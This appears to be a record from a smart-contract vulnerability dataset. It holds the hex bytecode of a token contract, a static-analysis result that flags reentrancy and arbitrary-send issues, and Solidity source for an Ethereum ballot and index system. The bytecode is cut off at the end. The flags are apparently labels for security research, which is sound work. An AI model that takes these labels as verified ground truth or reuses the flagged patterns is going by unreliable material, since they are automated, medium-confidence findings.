0d657600080fd5b6001600160a01b03831661113a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106b3565b6001600160a01b03821661119c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106b3565b600081116111fe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106b3565b600080546001600160a01b0385811691161480159061122b57506000546001600160a01b03848116911614155b1561141d576008546001600160a01b03858116911614801561125b57506006546001600160a01b03848116911614155b801561128057506001600160a01b03831660009081526004602052604090205460ff16155b1561133557600f5460ff166112d75760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106b3565b42600e5460b46112e79190611b46565b1180156112fc5750600f5462010000900460ff165b1561133157600c5482111561131057600080fd5b600d5461131c846108ab565b6113269084611b46565b111561133157600080fd5b5060015b600f54610100900460ff1615801561134f5750600f5460ff165b801561136957506008546001600160a01b03858116911614155b1561141d576000611379306108ab565b9050801561140657600f546301000000900460ff16156113fd57600b54600854606491906113af906001600160a01b03166108ab565b6113b99190611b5e565b6113c39190611b7d565b8111156113fd57600b54600854606491906113e6906001600160a01b03166108ab565b6113f09190611b5e565b6113fa9190611b7d565b90505b611406816114b6565b478015611416576114164761147c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061145f57506001600160a01b03841660009081526004602052604090205460ff165b15611468575060005b611475858585848661162a565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561075e573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114fa576114fa611a76565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611553573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115779190611ade565b8160018151811061158a5761158a611a76565b6001600160a01b0392831660209182029290920101526006546115b09130911684610f8c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906115e9908590600090869030904290600401611b9f565b600060405180830381600087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b6000611636838361164c565b905061164486868684611670565b505050505050565b60008083156116695782156116645750600954611669565b50600a545b9392505050565b60008061167d848461174d565b6001600160a01b03881660009081526002602052604090205491935091506116a6908590611a5f565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116d6908390611b46565b6001600160a01b0386166000908152600260205260409020556116f881611781565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173d91815260200190565b60405180910390a3505050505050565b60008080606461175d8587611b5e565b6117679190611b7d565b905060006117758287611a5f565b96919550909350505050565b3060009081526002602052604090205461179c908290611b46565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117dc578581018301518582016040015282016117c0565b818111156117ee576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a857600080fd5b803561182481611804565b919050565b6000806040838503121561183c57600080fd5b823561184781611804565b946020939093013593505050565b6000806040838503121561186857600080fd5b50508035926020909101359150565b60008060006060848603121561188c57600080fd5b833561189781611804565b925060208401356118a781611804565b929592945050506040919091013590565b80151581146108a857600080fd5b6000602082840312156118d857600080fd5b8135611669816118b8565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561190c57600080fd5b823567ffffffffffffffff8082111561192457600080fd5b818501915085601f83011261193857600080fd5b81358181111561194a5761194a6118e3565b8060051b604051601f19603f8301168101818110858211171561196f5761196f6118e3565b60405291825284820192508381018501918883111561198d57600080fd5b938501935b828510156119b2576119a385611819565b84529385019392850192611992565b98975050505050505050565b6000602082840312156119d057600080fd5b813561166981611804565b600080604083850312156119ee57600080fd5b82356119f981611804565b91506020830135611a0981611804565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a7157611a71611a49565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611aa057611aa0611a49565b5060010190565b60208082526017908201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b600060208284031215611af057600080fd5b815161166981611804565b600080600060608486031215611b1057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b3b57600080fd5b8151611669816118b8565b60008219821115611b5957611b59611a49565b500190565b6000816000190483118215151615611b7857611b78611a49565b500290565b600082611b9a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bef5784516001600160a01b031683529383019391830191600101611bca565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b7c58c5ee22cdb28f0024ea7fdd0fc9e53f8e4f98707518516917b1838d3478864736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,874 |
0xa8a8509a17a5872d01e489fc85b152eb2a0c092e
|
pragma solidity ^0.4.19;
//
// SVLightBallotBox
// Single use contract to manage a ballot
// Author: Max Kaye <max@secure.vote>
// License: MIT
//
// Architecture:
// * Ballot authority declares public key with which to encrypt ballots (optional - stored in ballot spec)
// * Users submit encrypted or plaintext ballots as blobs (dependent on above)
// * These ballots are tracked by the ETH address of the sender
// * Following the conclusion of the ballot, the secret key is provided
// by the ballot authority, and all users may transparently and
// independently validate the results
//
// Notes:
// * Since ballots are encrypted the only validation we can do is length, but UI takes care of most of the rest
//
contract SVLightBallotBox {
//// ** Storage Variables
// Std owner pattern
address public owner;
// test mode - operations like changing start/end times
bool public testMode = false;
// struct for ballot
struct Ballot {
bytes32 ballotData;
address sender;
// we use a uint32 here because addresses are 20 bytes and this might help
// solidity pack the block number well. gives us a little room to expand too if needed.
uint32 blockN;
}
// Maps to store ballots, along with corresponding log of voters.
// Should only be modified through `addBallotAndVoter` internal function
mapping (uint256 => Ballot) public ballotMap;
mapping (uint256 => bytes32) public associatedPubkeys;
uint256 public nVotesCast = 0;
// Use a map for voters to look up their ballot
mapping (address => uint256) public voterToBallotID;
// NOTE - We don't actually want to include the PublicKey because _it's included in the ballotSpec_.
// It's better to ensure ppl actually have the ballot spec by not including it in the contract.
// Plus we're already storing the hash of the ballotSpec anyway...
// Private key to be set after ballot conclusion - curve25519
bytes32 public ballotEncryptionSeckey;
bool seckeyRevealed = false;
// Timestamps for start and end of ballot (UTC)
uint64 public startTime;
uint64 public endTime;
uint64 public creationBlock;
uint64 public startingBlockAround;
// specHash by which to validate the ballots integrity
bytes32 public specHash;
bool public useEncryption;
// deprecation flag - doesn't actually do anything besides signal that this contract is deprecated;
bool public deprecated = false;
//// ** Events
event CreatedBallot(address _creator, uint64[2] _openPeriod, bool _useEncryption, bytes32 _specHash);
event SuccessfulPkVote(address voter, bytes32 ballot, bytes32 pubkey);
event SuccessfulVote(address voter, bytes32 ballot);
event SeckeyRevealed(bytes32 secretKey);
event TestingEnabled();
event Error(string error);
event DeprecatedContract();
event SetOwner(address _owner);
//// ** Modifiers
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier ballotOpen {
require(uint64(block.timestamp) >= startTime && uint64(block.timestamp) < endTime);
_;
}
modifier onlyTesting {
require(testMode);
_;
}
modifier isTrue(bool _b) {
require(_b == true);
_;
}
modifier isFalse(bool _b) {
require(_b == false);
_;
}
//// ** Functions
uint16 constant F_USE_ENC = 0;
uint16 constant F_TESTING = 1;
// Constructor function - init core params on deploy
// timestampts are uint64s to give us plenty of room for millennia
// flags are [_useEncryption, enableTesting]
function SVLightBallotBox(bytes32 _specHash, uint64[2] openPeriod, bool[2] flags) public {
owner = msg.sender;
// take the max of the start time provided and the blocks timestamp to avoid a DoS against recent token holders
// (which someone might be able to do if they could set the timestamp in the past)
startTime = max(openPeriod[0], uint64(block.timestamp));
endTime = openPeriod[1];
useEncryption = flags[F_USE_ENC];
specHash = _specHash;
creationBlock = uint64(block.number);
// add a rough prediction of what block is the starting block
startingBlockAround = uint64((startTime - block.timestamp) / 15 + block.number);
if (flags[F_TESTING]) {
testMode = true;
TestingEnabled();
}
CreatedBallot(msg.sender, [startTime, endTime], useEncryption, specHash);
}
// Ballot submission
function submitBallotWithPk(bytes32 encryptedBallot, bytes32 senderPubkey) isTrue(useEncryption) ballotOpen public {
addBallotAndVoterWithPk(encryptedBallot, senderPubkey);
SuccessfulPkVote(msg.sender, encryptedBallot, senderPubkey);
}
function submitBallotNoPk(bytes32 ballot) isFalse(useEncryption) ballotOpen public {
addBallotAndVoterNoPk(ballot);
SuccessfulVote(msg.sender, ballot);
}
// Internal function to ensure atomicity of voter log
function addBallotAndVoterWithPk(bytes32 encryptedBallot, bytes32 senderPubkey) internal {
uint256 ballotNumber = addBallotAndVoterNoPk(encryptedBallot);
associatedPubkeys[ballotNumber] = senderPubkey;
}
function addBallotAndVoterNoPk(bytes32 encryptedBallot) internal returns (uint256) {
uint256 ballotNumber = nVotesCast;
ballotMap[ballotNumber] = Ballot(encryptedBallot, msg.sender, uint32(block.number));
voterToBallotID[msg.sender] = ballotNumber;
nVotesCast += 1;
return ballotNumber;
}
// Allow the owner to reveal the secret key after ballot conclusion
function revealSeckey(bytes32 _secKey) onlyOwner public {
require(block.timestamp > endTime);
ballotEncryptionSeckey = _secKey;
seckeyRevealed = true; // this flag allows the contract to be locked
SeckeyRevealed(_secKey);
}
function getEncSeckey() public constant returns (bytes32) {
return ballotEncryptionSeckey;
}
// Test functions
function setEndTime(uint64 newEndTime) onlyTesting onlyOwner public {
endTime = newEndTime;
}
function setDeprecated() onlyOwner public {
deprecated = true;
DeprecatedContract();
}
function setOwner(address newOwner) onlyOwner public {
owner = newOwner;
SetOwner(newOwner);
}
// utils
function max(uint64 a, uint64 b) pure internal returns(uint64) {
if (a > b) {
return a;
}
return b;
}
}
//
// The Index by which democracies and ballots are tracked (and optionally deployed).
// Author: Max Kaye <max@secure.vote>
// License: MIT
//
contract SVLightIndex {
address public owner;
struct Ballot {
bytes32 specHash;
bytes32 extraData;
address votingContract;
uint64 startTs;
}
struct Democ {
string name;
address admin;
Ballot[] ballots;
}
mapping (bytes32 => Democ) public democs;
bytes32[] public democList;
// addresses that do not have to pay for democs
mapping (address => bool) public democWhitelist;
// democs that do not have to pay for issues
mapping (address => bool) public ballotWhitelist;
// payment details
address public payTo;
// uint128's used because they account for amounts up to 3.4e38 wei or 3.4e20 ether
uint128 public democFee = 0.05 ether; // 0.05 ether; about $50 at 3 March 2018
mapping (address => uint128) democFeeFor;
uint128 public ballotFee = 0.01 ether; // 0.01 ether; about $10 at 3 March 2018
mapping (address => uint128) ballotFeeFor;
bool public paymentEnabled = true;
uint8 constant PAY_DEMOC = 0;
uint8 constant PAY_BALLOT = 1;
function getPaymentParams(uint8 paymentType) internal constant returns (bool, uint128, uint128) {
if (paymentType == PAY_DEMOC) {
return (democWhitelist[msg.sender], democFee, democFeeFor[msg.sender]);
} else if (paymentType == PAY_BALLOT) {
return (ballotWhitelist[msg.sender], ballotFee, ballotFeeFor[msg.sender]);
} else {
assert(false);
}
}
//* EVENTS /
event PaymentMade(uint128[2] valAndRemainder);
event DemocInit(string name, bytes32 democHash, address admin);
event BallotInit(bytes32 specHash, uint64[2] openPeriod, bool[2] flags);
event BallotAdded(bytes32 democHash, bytes32 specHash, bytes32 extraData, address votingContract);
event SetFees(uint128[2] _newFees);
event PaymentEnabled(bool _feeEnabled);
//* MODIFIERS /
modifier onlyBy(address _account) {
require(msg.sender == _account);
_;
}
modifier payReq(uint8 paymentType) {
// get our whitelist, generalFee, and fee's for particular addresses
bool wl;
uint128 genFee;
uint128 feeFor;
(wl, genFee, feeFor) = getPaymentParams(paymentType);
// init v to something large in case of exploit or something
uint128 v = 1000 ether;
// check whitelists - do not require payment in some cases
if (paymentEnabled && !wl) {
v = feeFor;
if (v == 0){
// if there's no fee for the individual user then set it to the general fee
v = genFee;
}
require(msg.value >= v);
// handle payments
uint128 remainder = uint128(msg.value) - v;
payTo.transfer(v); // .transfer so it throws on failure
if (!msg.sender.send(remainder)){
payTo.transfer(remainder);
}
PaymentMade([v, remainder]);
}
// do main
_;
}
//* FUNCTIONS /
// constructor
function SVLightIndex() public {
owner = msg.sender;
payTo = msg.sender;
}
//* GLOBAL INFO */
function nDemocs() public constant returns (uint256) {
return democList.length;
}
//* PAYMENT AND OWNER FUNCTIONS */
function setPayTo(address newPayTo) onlyBy(owner) public {
payTo = newPayTo;
}
function setEth(uint128[2] newFees) onlyBy(owner) public {
democFee = newFees[PAY_DEMOC];
ballotFee = newFees[PAY_BALLOT];
SetFees([democFee, ballotFee]);
}
function setOwner(address _owner) onlyBy(owner) public {
owner = _owner;
}
function setPaymentEnabled(bool _enabled) onlyBy(owner) public {
paymentEnabled = _enabled;
PaymentEnabled(_enabled);
}
function setWhitelistDemoc(address addr, bool _free) onlyBy(owner) public {
democWhitelist[addr] = _free;
}
function setWhitelistBallot(address addr, bool _free) onlyBy(owner) public {
ballotWhitelist[addr] = _free;
}
function setFeeFor(address addr, uint128[2] fees) onlyBy(owner) public {
democFeeFor[addr] = fees[PAY_DEMOC];
ballotFeeFor[addr] = fees[PAY_BALLOT];
}
//* DEMOCRACY FUNCTIONS - INDIVIDUAL */
function initDemoc(string democName) payReq(PAY_DEMOC) public payable returns (bytes32) {
bytes32 democHash = keccak256(democName, msg.sender, democList.length, this);
democList.push(democHash);
democs[democHash].name = democName;
democs[democHash].admin = msg.sender;
DemocInit(democName, democHash, msg.sender);
return democHash;
}
function getDemocInfo(bytes32 democHash) public constant returns (string name, address admin, uint256 nBallots) {
return (democs[democHash].name, democs[democHash].admin, democs[democHash].ballots.length);
}
function setAdmin(bytes32 democHash, address newAdmin) onlyBy(democs[democHash].admin) public {
democs[democHash].admin = newAdmin;
}
function nBallots(bytes32 democHash) public constant returns (uint256) {
return democs[democHash].ballots.length;
}
function getNthBallot(bytes32 democHash, uint256 n) public constant returns (bytes32 specHash, bytes32 extraData, address votingContract, uint64 startTime) {
return (democs[democHash].ballots[n].specHash, democs[democHash].ballots[n].extraData, democs[democHash].ballots[n].votingContract, democs[democHash].ballots[n].startTs);
}
//* ADD BALLOT TO RECORD */
function _commitBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData, address votingContract, uint64 startTs) internal {
democs[democHash].ballots.push(Ballot(specHash, extraData, votingContract, startTs));
BallotAdded(democHash, specHash, extraData, votingContract);
}
function addBallot(bytes32 democHash, bytes32 extraData, address votingContract)
onlyBy(democs[democHash].admin)
payReq(PAY_BALLOT)
public
payable
{
SVLightBallotBox bb = SVLightBallotBox(votingContract);
bytes32 specHash = bb.specHash();
uint64 startTs = bb.startTime();
_commitBallot(democHash, specHash, extraData, votingContract, startTs);
}
function deployBallot(bytes32 democHash, bytes32 specHash, bytes32 extraData,
uint64[2] openPeriod, bool[2] flags)
onlyBy(democs[democHash].admin)
payReq(PAY_BALLOT)
public payable {
// the start time is max(startTime, block.timestamp) to avoid a DoS whereby a malicious electioneer could disenfranchise
// token holders who have recently acquired tokens.
uint64 startTs = max(openPeriod[0], uint64(block.timestamp));
SVLightBallotBox votingContract = new SVLightBallotBox(specHash, [startTs, openPeriod[1]], flags);
votingContract.setOwner(msg.sender);
_commitBallot(democHash, specHash, extraData, address(votingContract), startTs);
BallotInit(specHash, [startTs, openPeriod[1]], flags);
}
// utils
function max(uint64 a, uint64 b) pure internal returns(uint64) {
if (a > b) {
return a;
}
return b;
}
}
|
0x6060604052600436106200013d5763ffffffff60e060020a60003504166313af40358114620001425780631badfbae146200016657806327f4b056146200018d5780634d1ff18114620002385780635d7e721914620002535780635db38c63146200029f57806361b9739a14620002c757806362981b1814620002e95780636606b7d414620003545780636b3578f21462000386578063767af6b914620003b05780638825701614620003d25780638da5cb5b146200042c5780639bc29b7a146200045e578063a1a1efe71462000513578063b7b4fe13146200052f578063b837c58e1462000556578063b93dc802146200056c578063be1dbd2e14620005ab578063cf2317d514620005cd578063dbf1bfee14620005e6578063df2484ff14620005fc578063ee4024db1462000615578063f39d359b146200063a575b600080fd5b34156200014e57600080fd5b62000164600160a060020a036004351662000682565b005b34156200017257600080fd5b62000164600160a060020a03600435166024351515620006cf565b34156200019957600080fd5b620001a660043562000718565b604051600160a060020a03831660208201526040810182905260608082528190810185818151815260200191508051906020019080838360005b83811015620001fa578082015183820152602001620001e0565b50505050905090810190601f168015620002285780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156200024457600080fd5b620001646004351515620007fd565b34156200025f57600080fd5b6200016460048035600160a060020a0316906064602460026040805190810160405280929190826002602002808284375093955062000861945050505050565b3415620002ab57600080fd5b620002b56200090c565b60405190815260200160405180910390f35b3415620002d357600080fd5b62000164600160a060020a036004351662000913565b620001646004803590602435906044359060a46064600260408051908101604052809291908260026020028082843782019150505050509190806040019060028060200260405190810160405280929190826002602002808284375093955062000960945050505050565b34156200036057600080fd5b6200036a62000d32565b6040516001608060020a03909116815260200160405180910390f35b34156200039257600080fd5b6200039c62000d41565b604051901515815260200160405180910390f35b3415620003bc57600080fd5b6200039c600160a060020a036004351662000d4a565b3415620003de57600080fd5b620003ee60043560243562000d5f565b6040519384526020840192909252600160a060020a031660408084019190915267ffffffffffffffff90911660608301526080909101905180910390f35b34156200043857600080fd5b6200044262000e57565b604051600160a060020a03909116815260200160405180910390f35b34156200046a57600080fd5b6200047760043562000e66565b604051600160a060020a038216602082015260408082528354600260001961010060018416150201909116049082018190528190606082019085908015620005035780601f10620004d75761010080835404028352916020019162000503565b820191906000526020600020905b815481529060010190602001808311620004e557829003601f168201915b5050935050505060405180910390f35b62000164600435602435600160a060020a036044351662000e87565b34156200053b57600080fd5b62000164600160a060020a0360043516602435151562001142565b34156200056257600080fd5b620004426200118b565b34156200057857600080fd5b6200016460046044816002604080519081016040528092919082600260200280828437509395506200119a945050505050565b3415620005b757600080fd5b6200039c600160a060020a036004351662001294565b3415620005d957600080fd5b620002b5600435620012a9565b3415620005f257600080fd5b6200036a620012be565b34156200060857600080fd5b620002b5600435620012cd565b34156200062157600080fd5b62000164600435600160a060020a0360243516620012ed565b620002b560046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506200135b95505050505050565b600054600160a060020a0390811690331681146200069f57600080fd5b506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a039081169033168114620006ec57600080fd5b50600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b62000722620018f5565b600082815260016020818152604080842080840154600280830154835488979496600160a060020a0390941695919487949082161561010002600019019091169290920491601f830181900481020190519081016040528092919081815260200182805460018160011615610100020316600290048015620007e85780601f10620007bc57610100808354040283529160200191620007e8565b820191906000526020600020905b815481529060010190602001808311620007ca57829003601f168201915b505050505092509250925092505b9193909250565b600054600160a060020a0390811690331681146200081a57600080fd5b600a805460ff19168315151790557fed53661a07b1eecfd9ce68c3067068f29dc710c7144b27617faed07dbec21b9082604051901515815260200160405180910390a15050565b600054600160a060020a0390811690331681146200087e57600080fd5b8151600160a060020a038416600090815260076020526040902080546fffffffffffffffffffffffffffffffff19166001608060020a03929092169190911790558160016020020151600160a060020a0393909316600090815260096020526040902080546fffffffffffffffffffffffffffffffff19166001608060020a03909416939093179092555050565b6002545b90565b600054600160a060020a0390811690331681146200093057600080fd5b506005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000858152600160208190526040822001548190600160a060020a0390811690331681146200098e57600080fd5b60016000806000806000620009a386620016e0565b600a549297509095509350683635c9adc5dea00000925060ff168015620009c8575084155b1562000b2f578291506001608060020a0382161515620009e6578391505b6001608060020a038216341015620009fd57600080fd5b506005543482900390600160a060020a03166001608060020a03831680156108fc0290604051600060405180830381858888f19350505050151562000a4157600080fd5b600160a060020a0333166001608060020a03821680156108fc0290604051600060405180830381858888f19350505050151562000ab657600554600160a060020a03166001608060020a03821680156108fc0290604051600060405180830381858888f19350505050151562000ab657600080fd5b7f02c72dcc40109684591df90d749dbf94cfcc74677fac14e9b0d571b660484fca6040805190810160409081526001608060020a03808616835284166020830152518082604080838360005b8381101562000b1c57808201518382015260200162000b02565b5050505090500191505060405180910390a15b62000b3c8b514262001784565b98508c6040805190810160405267ffffffffffffffff8b1681526020808201908e015167ffffffffffffffff1690528b62000b7662001907565b8381526020810183604080838360005b8381101562000ba057808201518382015260200162000b86565b5050505090500182600260200280838360005b8381101562000bcd57808201518382015260200162000bb3565b505050509050019350505050604051809103906000f080151562000bf057600080fd5b975087600160a060020a03166313af40353360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151562000c4157600080fd5b6102c65a03f1151562000c5357600080fd5b50505062000c658e8e8e8b8d620017b4565b7fbc7a1a229e81699a6e3aeb6f23b8ab68c29ac40d8943fe0f763978cd37fbd9468d6040805190810160405267ffffffffffffffff8c1681526020808201908f015167ffffffffffffffff1690528c6040518381526020810183604080838360005b8381101562000ce157808201518382015260200162000cc7565b5050505090500182600260200280838360005b8381101562000d0e57808201518382015260200162000cf4565b50505050905001935050505060405180910390a15050505050505050505050505050565b6006546001608060020a031681565b600a5460ff1681565b60036020526000908152604090205460ff1681565b60008281526001602052604081206002018054829182918291908690811062000d8457fe5b600091825260208083206003909202909101548883526001909152604090912060020180548790811062000db457fe5b6000918252602080832060016003909302018201548a8452919052604090912060020180548890811062000de457fe5b6000918252602080832060026003909302018201548b845260019091526040909220018054600160a060020a03909216918990811062000e2057fe5b906000526020600020906003020160020160149054906101000a900467ffffffffffffffff16935093509350935092959194509250565b600054600160a060020a031681565b600160208190526000918252604090912090810154600160a060020a031682565b60008381526001602081905260408220015481908190600160a060020a03908116903316811462000eb757600080fd5b6001600080600080600062000ecc86620016e0565b600a549297509095509350683635c9adc5dea00000925060ff16801562000ef1575084155b1562001058578291506001608060020a038216151562000f0f578391505b6001608060020a03821634101562000f2657600080fd5b506005543482900390600160a060020a03166001608060020a03831680156108fc0290604051600060405180830381858888f19350505050151562000f6a57600080fd5b600160a060020a0333166001608060020a03821680156108fc0290604051600060405180830381858888f19350505050151562000fdf57600554600160a060020a03166001608060020a03821680156108fc0290604051600060405180830381858888f19350505050151562000fdf57600080fd5b7f02c72dcc40109684591df90d749dbf94cfcc74677fac14e9b0d571b660484fca6040805190810160409081526001608060020a03808616835284166020830152518082604080838360005b83811015620010455780820151838201526020016200102b565b5050505090500191505060405180910390a15b8a995089600160a060020a031663839ea7766000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515620010a257600080fd5b6102c65a03f11515620010b457600080fd5b5050506040518051995050600160a060020a038a166378e979256000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156200110657600080fd5b6102c65a03f115156200111857600080fd5b505050604051805190509750620011338d8a8e8e8c620017b4565b50505050505050505050505050565b600054600160a060020a0390811690331681146200115f57600080fd5b50600160a060020a03919091166000908152600360205260409020805460ff1916911515919091179055565b600554600160a060020a031681565b600054600160a060020a039081169033168114620011b757600080fd5b8151600680546fffffffffffffffffffffffffffffffff19166001608060020a03929092169190911790558160016020020151600880546fffffffffffffffffffffffffffffffff19166001608060020a03929092169190911790557fb50669505fae6849285fbf48e490e26a77ecc9929129c80d25cd2043d0ba14446040805190810160409081526006546001608060020a039081168352600854166020830152518082604080838360005b838110156200127e57808201518382015260200162001264565b5050505090500191505060405180910390a15050565b60046020526000908152604090205460ff1681565b60009081526001602052604090206002015490565b6008546001608060020a031681565b6002805482908110620012dc57fe5b600091825260209091200154905081565b60008281526001602081905260409091200154600160a060020a0390811690331681146200131a57600080fd5b506000918252600160208190526040909220909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b6000806000806000806000806200137286620016e0565b600a549297509095509350683635c9adc5dea00000925060ff16801562001397575084155b15620014fe578291506001608060020a0382161515620013b5578391505b6001608060020a038216341015620013cc57600080fd5b506005543482900390600160a060020a03166001608060020a03831680156108fc0290604051600060405180830381858888f1935050505015156200141057600080fd5b600160a060020a0333166001608060020a03821680156108fc0290604051600060405180830381858888f1935050505015156200148557600554600160a060020a03166001608060020a03821680156108fc0290604051600060405180830381858888f1935050505015156200148557600080fd5b7f02c72dcc40109684591df90d749dbf94cfcc74677fac14e9b0d571b660484fca6040805190810160409081526001608060020a03808616835284166020830152518082604080838360005b83811015620014eb578082015183820152602001620014d1565b5050505090500191505060405180910390a15b60025489903390306040518085805190602001908083835b60208310620015375780518252601f19909201916020918201910162001516565b6001836020036101000a0380198251168184511617909252505050600160a060020a039687166c010000000000000000000000009081029190930190815260148101959095525091909316026034820152604801915060409050518091039020965060028054806001018281620015af919062001918565b5060009182526020808320919091018990558882526001905260409020898051620015df92916020019062001944565b5060008781526001602081905260409182902001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a038116919091179091557fe4ce3800aac9ab0f2b800a84893f01077fec89d059a04ba63cfe5851eebf75bf918b918a915160208101839052600160a060020a038216604082015260608082528190810185818151815260200191508051906020019080838360005b83811015620016965780820151838201526020016200167c565b50505050905090810190601f168015620016c45780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15094979650505050505050565b6000808060ff841615156200173257505050600160a060020a033316600090815260036020908152604080832054600654600790935292205460ff909216916001608060020a039182169116620007f6565b60ff8416600114156200178257505050600160a060020a033316600090815260046020908152604080832054600854600990935292205460ff909216916001608060020a039182169116620007f6565bfe5b60008167ffffffffffffffff168367ffffffffffffffff161115620017ab575081620017ae565b50805b92915050565b6000858152600160208190526040909120600201805490918101620017da8382620019c9565b916000526020600020906003020160006080604051908101604090815288825260208201889052600160a060020a0387169082015267ffffffffffffffff851660608201529190508151815560208201516001820155604082015160028201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560608201518160020160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050507fcd67d56088f4b97d8a591f2f1ba8f11349d19c0f4be8d29bef80df49372fdc46858585856040519384526020840192909252604080840191909152600160a060020a0390911660608301526080909101905180910390a15050505050565b60206040519081016040526000815290565b604051610bed8062001a6383390190565b8154818355818115116200193f576000838152602090206200193f918101908301620019f8565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200198757805160ff1916838001178555620019b7565b82800160010185558215620019b7579182015b82811115620019b75782518255916020019190600101906200199a565b50620019c5929150620019f8565b5090565b8154818355818115116200193f576003028160030283600052602060002091820191016200193f919062001a15565b6200091091905b80821115620019c55760008155600101620019ff565b6200091091905b80821115620019c557600080825560018201556002810180547fffffffff0000000000000000000000000000000000000000000000000000000016905560030162001a1c560060606040526000805460a060020a60ff02191681556003556006805460ff191690556009805461ff0019169055341561003757600080fd5b60405160a080610bed8339810160405280805160008054600160a060020a03191633600160a060020a0316179055915060208101906060016100878251426401000000006108ca61028e82021704565b600680546001604060020a03929092166101000268ffffffffffffffff00199092169190911790556020820151600680546001604060020a0392909216690100000000000000000002604860020a608860020a031990921691909117905580516009805460ff1916911515919091179055600883905560068054608860020a60c860020a03191671010000000000000000000000000000000000436001604060020a038181169290920292909217928390559091600f914261010090920416036007805467ffffffffffffffff191692909104929092016001604060020a03161790558060016020020151156101cb576000805460a060020a60ff021916740100000000000000000000000000000000000000001790557f641e6b9d2f3c463bec5b5cffe3f5017d9a49ad5543d2962eb746c6a7afa223c560405160405180910390a15b7f72e9f65ccb8c470c69c19a96f9ebf2ecfda0034e60416b28bdc6f25cce1d244d336040805190810160409081526006546001604060020a03610100820481168452690100000000000000000090910416602083015260095460085460ff9091169151600160a060020a03851681526020810184604080838360005b8381101561025f578082015183820152602001610247565b5050505094151591909401908152602081019290925250604090810193509150505180910390a15050506102ba565b6000816001604060020a0316836001604060020a031611156102b15750816102b4565b50805b92915050565b610924806102c96000396000f30060606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663023e36d881146101215780630e136b191461014657806313af40351461016d578063176345141461018e578063245b565d146101be5780633197cbb6146101d157806334aba1ce146101e45780633dc286ae146101f7578063432ba8be1461020a57806349d5e18f1461022957806378e979251461023c578063839ea7761461024f5780638da5cb5b1461026257806398203e6b14610291578063b49730ca146102a4578063b9ae4bda146102ec578063bc19bcbf14610302578063cbc265ac1461031b578063cd9ea34214610331578063dea7b76814610344578063e945c3911461035a575b600080fd5b341561012c57600080fd5b61013461037a565b60405190815260200160405180910390f35b341561015157600080fd5b610159610380565b604051901515815260200160405180910390f35b341561017857600080fd5b61018c600160a060020a036004351661038e565b005b341561019957600080fd5b6101a1610411565b60405167ffffffffffffffff909116815260200160405180910390f35b34156101c957600080fd5b610134610436565b34156101dc57600080fd5b6101a161043c565b34156101ef57600080fd5b6101a1610459565b341561020257600080fd5b610134610469565b341561021557600080fd5b610134600160a060020a036004351661046f565b341561023457600080fd5b610159610481565b341561024757600080fd5b6101a161048a565b341561025a57600080fd5b61013461049f565b341561026d57600080fd5b6102756104a5565b604051600160a060020a03909116815260200160405180910390f35b341561029c57600080fd5b61018c6104b4565b34156102af57600080fd5b6102ba60043561050c565b604051928352600160a060020a03909116602083015263ffffffff166040808301919091526060909101905180910390f35b34156102f757600080fd5b61013460043561053d565b341561030d57600080fd5b61018c60043560243561054f565b341561032657600080fd5b61018c600435610612565b341561033c57600080fd5b61015961069a565b341561034f57600080fd5b61018c6004356106aa565b341561036557600080fd5b61018c67ffffffffffffffff6004351661075b565b60035481565b600954610100900460ff1681565b60005433600160a060020a039081169116146103a95760